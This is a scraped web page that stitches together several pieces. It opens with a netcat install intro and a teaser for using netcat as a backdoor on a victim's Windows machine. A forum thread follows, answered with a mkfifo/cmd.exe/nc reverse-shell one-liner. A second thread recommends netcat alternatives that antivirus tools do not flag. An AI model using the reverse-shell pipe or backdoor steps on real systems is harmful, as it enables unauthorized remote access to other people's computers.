How to install netcat. We are going to install netcat on Ubuntu 18.04 machine using apt install or compiling it from source code. Installation using apt is pretty simple, you just need to type the following command in the terminal. 10 Steps to Use NetCat as a Backdoor in Windows 7 System: 1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I'm using java signed applet from my previous tutorial ). The next step you need to upload your NetCat.exe to victim computer by using following command.
Active1 year, 9 months ago
Is there any way to get a reverse shell in Windows using netcat without using -e option since it triggers UAC?
I made it work from Linux to Linux by using a named pipe. I wanted to achieve something similar in Windows.
Running
c:windowssystem32cmd.exe | ncat -l -p 666
on Windows gives me a prompt in Linux when I connect:It looks like I'm close, maybe something simple is missing? If only there were named pipes in Windows...
Adriano_epifasAdriano_epifas
1 Answer
I'm not sure if you can do it with pure win32 netcat but you can do it in cygwin. Listen on 1234 like
nc -l 1234
then connect to that in a separate window with this command:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/cygdrive/c/windows/system32/cmd.exe 2>&1|nc 127.0.0.1 1234 >/tmp/f
Note the up and down keys do not work to cycle through the command history using this method.
JayJay
Not the answer you're looking for? Browse other questions tagged linuxuacredirectionpipenetcat or ask your own question.
Active1 year, 7 months ago
I used to use netcat for Windows to help track down network connectivity issues. However these days my anti-virus software (Symantec - but I understand others display similar behaviour) quarantines
netcat.exe
as malware.Are there any alternative applications which provide at least the following functionality:
- can connect to an open TCP socket and send data to it which is typed on the console
- can open and listen on a TCP socket and print received data to the console
?
I don't need the 'advanced' features (which are possibly the reason for the quarantining) such as port scanning or remote execution.
Matthew Murdoch
Matthew MurdochMatthew Murdoch33933 gold badges66 silver badges1616 bronze badges
closed as off-topic by Ramhound, Ƭᴇcʜιᴇ007, DavidPostill♦, Twisty Impersonator, GaffOct 30 '16 at 5:20
This question appears to be off-topic. The users who voted to close gave this specific reason:
- 'Questions seeking product, service, or learning material recommendations are off-topic because they become outdated quickly and attract opinion-based answers. Instead, describe your situation and the specific problem you're trying to solve. Share your research. Here are a few suggestions on how to properly ask this type of question.' – Ramhound, Ƭᴇcʜιᴇ007, DavidPostill, Twisty Impersonator, Gaff
8 Answers
This person ran into the exact same problem; read till the end for the version compiled without remote execution. I downloaded and extracted these on two systems running 'Symantec Endpoint Protection'. While the netcat on this page was removed and quarantined when run, the 'rodneybeede' version linked to near the end of the page tried to connect to the desired port, and wasn't quarantined.
user38983user38983
The quick answer here is to use the built in Telnet program from the CMD command line.
the command is...
The above example will connect you to the hostname on port 80. you can use it on just about any port you need to check out. This is extremely handy for troubleshooting SMTP and ESMTP issues.
AxxmasterrAxxmasterr6,84366 gold badges3636 silver badges5757 bronze badges
ncat seems to be exactly what you're looking for. It's an implementation of netcat available on the official Nmap site with the port scanning feature removed. Doesn't raise any virus alerts either.
From the 'Ncat Users' Guide':
Ncat is our modern reinvention of the venerable Netcat (nc) tool released by Hobbit in 1996. While Ncat is similar to Netcat in spirit, they don't share any source code. Instead, Ncat makes use of Nmap's well optimized and tested networking libraries. Compatibility with the original Netcat and some well known variants is maintained where it doesn't conflict with Ncat's enhancements or cause usability problems. Ncat adds many capabilities not found in Hobbit's original nc, including SSL support, proxy connections, IPv6, and connection brokering. The original nc contained a simple port scanner, but we omitted that from Ncat because we have a preferred tool for that function.
Andrew NguyenAndrew Nguyen
I discovered that MobaXterm for Windows has the nc (netcat) command, as well as many other Unix commands, like ls, ps, and kill.
I wholeheartedly recommend MobaXterm, especially if you are familiar with both Unix and DOS. For me, there was nothing to install; it's just one executable that opens a terminal window in Windows that accepts many Unix commands. Since I frequently use both Unix and DOS and often use one to connect to the other, MobaXterm for Windows is an extremely useful tool for me.
(Sorry if this sounds like an advertisement; I don't work for nor am I affiliated with MobaXterm. A friend recently introduced it to me and it made certain tasks so much easier for me.)
rogerdpack98233 gold badges1515 silver badges3030 bronze badges
J-LJ-L
If you need netcat, you can whitelist netcat.exe in your anti-virus program.
You may also want to download a current version, which is called ncat and can be found in the nmap distribution.
mivkmivk
Even if it seems otherwise, Wireshark is easy to use. You can setup it easily to listen to a specific port.
Another tool is nmap which again, I find easy to use. It will tell you much about open ports on a remote machine, so you can use it troubleshoot connectivity issues. Just nmap www.google.com from command line, or from included gui interface.
Just give them a try.
Gaff16.4k1111 gold badges5151 silver badges6666 bronze badges
Mercer TraiesteMercer Traieste1,41922 gold badges1717 silver badges2424 bronze badges
You can download Ncat - Netcat for the 21st Century.It seems to be a modern version of NCat, it is actively supported, and, most important, it had a 0/48 detection ratio at VirusTotal.
Portable version or from NMap Windows installer - disable anything else from the install wizard:
sashoalmsashoalm1,64655 gold badges3535 silver badges6060 bronze badges
There is now also separate 'ncat' static build available at http://nmap.org/dist/ncat-portable-5.59BETA1.zip
RostfreiRostfrei